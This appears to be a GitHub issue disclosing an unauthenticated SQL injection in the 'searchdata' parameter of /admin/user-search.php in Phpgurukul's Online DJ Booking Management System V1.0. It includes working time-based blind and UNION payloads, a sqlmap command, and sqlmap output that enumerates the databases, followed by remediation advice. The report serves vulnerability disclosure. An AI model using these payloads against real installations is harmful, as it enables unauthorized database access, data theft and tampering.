New issue

Phpgurukul Online DJ Booking Management System V1.0 /admin/user-search.php SQL injection #1

Open

MoshangChunfeng opened 2 weeks ago

NAME OF AFFECTED PRODUCT(S)

- Online DJ Booking Management System

Vendor Homepage

- https://phpgurukul.com/online-dj-booking-management-system-using-php-and-mysql/

AFFECTED AND/OR FIXED VERSION(S)

submitter

- YeyukongXiaodengli

Vulnerable File

- /admin/user-search.php

VERSION(S)

- V1.0

Software Link

- https://phpgurukul.com/?sdm_process_download=1&download_id=11402

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/admin/user-search.php' file of the 'Online DJ Booking Management System' project. The reason for this issue is that attackers inject malicious code from the parameter 'searchdata' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Online DJ Booking Management System",I discovered a critical SQL injection vulnerability in the "/admin/user-search.php" file. This vulnerability stems from insufficient user input validation of the 'searchdata' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability lonameion:

- 'searchdata‘ parameter

Payload:

```
Parameter: searchdata (POST)
    Type: time-based blind
```

```
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchdata=1' AND (SELECT 1396 FROM (SELECT(SLEEP(5)))OMpg) AND 'yEeD'='yEeD&searc

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: searchdata=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71716a6a71,0x734d4c444c5741714e4
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -u "http://10.20.33.25/odms/admin/user-search.php" --data="searchdata=1&search d
```

```
[15:04:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:04:51] [WARNING] POST parameter 'search' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 96 HTTP(s) re
quests:
---
Parameter: searchdata (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchdata=1' AND (SELECT 1396 FROM (SELECT(SLEEP(5)))OMpg) AND 'yE
eD'='yEeD&search=

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: searchdata=1' UNION ALL SELECT NULL,NULL,CONCAT(0x71716a6a71,0x734d
4c444c5741714e466947747548425672474 84e556a50656e68416b7941416d59766b78785172,0x7
171706271),NULL,NULL,NULL,NULL-- -&search=
---
[15:04:51] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.3.11
back-end DBMS: MySQL >= 5.0.12
[15:04:51] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] odmsdb

[15:04:51] [INFO] fetched data logged to text files under '/Users/arpanet/.local
```

Suggested repair

1. **Use prepared statements and parameter binding:**
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. **Minimize database user permissions:**
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

No branches or pull requests

Participants